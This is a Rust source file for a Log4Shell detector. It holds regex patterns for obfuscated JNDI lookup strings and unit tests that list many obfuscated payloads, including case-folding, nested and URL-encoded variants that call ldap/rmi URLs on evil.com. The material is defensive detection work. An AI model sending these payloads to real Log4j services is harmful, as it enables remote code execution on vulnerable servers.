Skip to main content

security_rust/protocol/
log4shell.rs

1// Copyright (c) 2026 erik <erik@erik.xyz> — https://erik.xyz
2
3use crate::{AttackCategory, DetectionResult, Detector, Severity, regex_detect};
4use regex::Regex;
5use std::sync::LazyLock;
6
7// log4j 的 lookup 前缀。花括号里的内容必须落在名录内——光看"`${` 里套 `${`"或
8// "`}` 后面跟着 ndi"会把 shell 的 `${VAR:-${DEFAULT}}`、`${VAR:?${MSG}}`、
9// `${PATH:+${PATH}:/opt}` 和 `${x}${y}` 全打成 Critical。这些形状在 shell/Makefile
10// 里是日常写法,唯一能把它们和 log4j 混淆区分开的就是关键字。
11const LOOKUP: &str =
12    r"(?:jndi|lower|upper|env|sys|date|java|main|ctx|base64|hostName|map|marker|spring)";
13
14// 与 JndiInjectionDetector 的分工:那边认字面量 `${jndi:`、`${lower:j}`,
15// 这边专攻"lookup 展开后才拼出 jndi"的混淆变体——攻击串里根本不含 `jndi` 五个字母。
16// 六条模式合成一条 alternation:干净输入上每条模式都要走到串尾,条数直接乘在单次
17// `find` 的开销上;合并后一次扫描扫完六条分支。各分支的完整文本未变,只多了 `|`。
18// `(?i)` 为六条分支所共有,提到最前——它的作用域是整条模式(含 `|` 之后的全部分支),
19// 与逐条编译时每条各自带 `(?i)` 等价。
20static PATTERNS: LazyLock<Regex> = LazyLock::new(|| {
21    Regex::new(
22        &[
23            // ${lower:j} / ${upper:J}:单字符大小写折叠,正常模板不会这么写
24            r"(?i)\$\{(?:lower|upper)\s*:\s*[a-z]\s*\}",
25            // ${::-j}:前缀折叠
26            r"|\$\{\s*::-?[a-z]{1,3}\s*\}",
27            // ${<lookup>}ndi: —— lookup 展开结果紧邻 ndi(`${lower:j}ndi:` 里 `}` 直接接 ndi,
28            // 所以判据只能放在花括号内是不是 lookup,不能放在 `}` 后面跟什么)
29            r"|\$\{\s*",
30            LOOKUP,
31            r"\s*:[^{}]{0,120}\}\s*[a-z]{0,4}ndi\s*[:/{]",
32            // ${${<lookup>...}}:嵌套展开,内层同样必须是 lookup 关键字
33            r"|\$\{\s*[^{}]{0,120}\$\{\s*",
34            LOOKUP,
35            r"\s*:",
36            // URL 编码形态 %24%7Blower%3Aj%7Dndi,绕 WAF 用
37            r"|%24%7b\s*",
38            LOOKUP,
39            r"\s*(?::|%3a).{0,120}%7d.{0,4}ndi",
40            // 整体 URL 编码的 `${jndi:`:`%24%7Bjndi%3A...%7D`。这里 `jndi` 是字面量、
41            // 且载荷以 `%7d` 收尾(`%7d` 后面没有 ndi 尾巴),上一条的「lookup 展开后
42            // 才拼出 jndi」判据套不上。注意本分支**不**放宽 `.{0,4}ndi` 为可选:一旦
43            // 可选,`%24%7Bdate%3Ayyyy-MM-dd%7D`(编码后的 `${date:...}`)也会命中 ——
44            // 而字面量 `${date:...}` 在测试里是干净的,编码后不该变脸。
45            r"|%24%7b\s*jndi\s*(?::|%3a)",
46        ]
47        .concat(),
48    )
49    .unwrap()
50});
51
52pub struct Log4ShellDetector;
53
54impl Detector for Log4ShellDetector {
55    fn name(&self) -> &'static str {
56        "log4shell"
57    }
58
59    fn detect(&self, input: &str) -> Option<DetectionResult> {
60        regex_detect(
61            std::slice::from_ref(&*PATTERNS),
62            self.name(),
63            AttackCategory::Protocol,
64            Severity::Critical,
65            "Log4Shell lookup obfuscation detected",
66            input,
67        )
68    }
69}
70
71#[cfg(test)]
72mod tests {
73    use super::*;
74    use crate::test_helpers::{assert_clean, assert_detected};
75
76    fn det() -> Log4ShellDetector {
77        Log4ShellDetector
78    }
79
80    fn assert_hit(input: &str) {
81        assert_detected(&det(), input, AttackCategory::Protocol, Severity::Critical);
82    }
83
84    #[test]
85    fn name_is_log4shell() {
86        assert_eq!(det().name(), "log4shell");
87    }
88
89    #[test]
90    fn detects_case_folding_lookup() {
91        for input in [
92            "${lower:j}ndi:ldap://evil.com/a}",
93            "${upper:j}NDI:rmi://evil.com/a}",
94            "${lower:j}",
95            "${upper:J}",
96        ] {
97            assert_hit(input);
98        }
99    }
100
101    #[test]
102    fn detects_prefix_collapse_lookup() {
103        for input in [
104            "${::-j}ndi:ldap://evil.com/a}",
105            "${::-j}",
106            "${::-J}ndi:dns://evil.com}",
107        ] {
108            assert_hit(input);
109        }
110    }
111
112    #[test]
113    fn detects_lookup_then_ndi_tail() {
114        for input in [
115            "${env:BARFOO:-j}ndi:ldap://evil.com/a}",
116            "${sys:user.name}ndi:ldap://evil.com/a}",
117            "${date:'j'}ndi:ldap://evil.com/a}",
118            "${java:version}ndi://evil.com/x}",
119        ] {
120            assert_hit(input);
121        }
122    }
123
124    #[test]
125    fn detects_nested_lookup() {
126        for input in [
127            "${${lower:j}ndi:ldap://evil.com/a}",
128            "${${env:FOO:-ldap}://evil.com/a}",
129            "${${sys:x}${lower:j}}",
130        ] {
131            assert_hit(input);
132        }
133    }
134
135    #[test]
136    fn detects_url_encoded_payload() {
137        for input in [
138            "%24%7Blower%3Aj%7Dndi:ldap://evil.com/a",
139            "%24%7B%24%7Blower%3Aj%7Dndi%3Aldap%3A%2F%2Fevil.com%7D",
140        ] {
141            assert_hit(input);
142        }
143    }
144
145    #[test]
146    fn detects_fully_url_encoded_jndi() {
147        for input in [
148            "%24%7Bjndi%3Aldap%3A%2F%2Fevil.com%7D",
149            "%24%7Bjndi:ldap://evil.com/a%7D",
150            "%24%7bJNDI%3Armi%3A%2F%2Fevil.com%2Fx%7D",
151        ] {
152            assert_hit(input);
153        }
154    }
155
156    /// 反向对照:光有 `%7B` / `%24%7B` 不是信号,得是 `jndi` 这个 lookup
157    #[test]
158    fn ignores_encoded_non_jndi_lookups() {
159        for input in [
160            "%24%7Buser%7D",
161            "%7Bjndi%7D 只是编码过的花括号",
162            "%24%7Bdate%3Ayyyy-MM-dd%7D 是编码后的日期占位符",
163            "https://example.com/?filter=%24%7Bname%7D",
164        ] {
165            assert_clean(&det(), input);
166        }
167    }
168
169    #[test]
170    fn ignores_benign_inputs() {
171        for input in [
172            "Hello, this is a normal text input. Nothing suspicious here.",
173            "the price is ${amount}",
174            "The total is ${total} dollars, tax is ${tax}.",
175            "cost: $10",
176            "const x = `${name}`; // 模板字符串",
177            "printf(\"%s\", ${var});",
178            "${date:yyyy-MM-dd} 是 log4j 的日期占位符",
179            "${env:JAVA_HOME} 读取环境变量",
180            "url: http://example.com/?q=%24%7Bfoo%7D",
181        ] {
182            assert_clean(&det(), input);
183        }
184    }
185
186    #[test]
187    fn ignores_shell_default_and_alternate_expansions() {
188        // ${VAR:-${DEFAULT}} / ${VAR:?${MSG}} / ${VAR:+${X}:/opt} 是 shell 的日常写法,
189        // 与 log4j 的嵌套 lookup 同形——只有花括号里是不是 lookup 关键字能区分。
190        for input in [
191            "echo ${A:-${B}}",
192            "echo ${VAR:?${OTHER}}",
193            "make: ${CC:-${CROSS_COMPILE}gcc}",
194            "echo \"${PATH:+${PATH}:/opt}\"",
195        ] {
196            assert_clean(&det(), input);
197        }
198    }
199
200    #[test]
201    fn ignores_short_suffix_before_ndi() {
202        // `ndi` 前只剩短尾巴(`${x}ndi/`)不是 log4j:`${lower:j}ndi:` 里的 `}` 直接接
203        // ndi,所以不能靠"`}` 后必须有 j"来判定,只能要求花括号内是 lookup。
204        for input in ["${x}ndi/x", "${x}indi:", "${x}hindi:", "${name}andi: 你好"] {
205            assert_clean(&det(), input);
206        }
207    }
208
209    #[test]
210    fn edge_cases() {
211        assert_clean(&det(), "");
212        assert_clean(&det(), "   ");
213        assert_clean(&det(), "你好世界 こんにちは");
214        // 缺 ${ 或 } 的近失串
215        assert_clean(&det(), "lower:j}ndi:ldap://evil.com");
216        assert_clean(&det(), "${lower:jndi:ldap://evil.com}");
217        assert_clean(&det(), "${ndi:ldap://evil.com}");
218    }
219}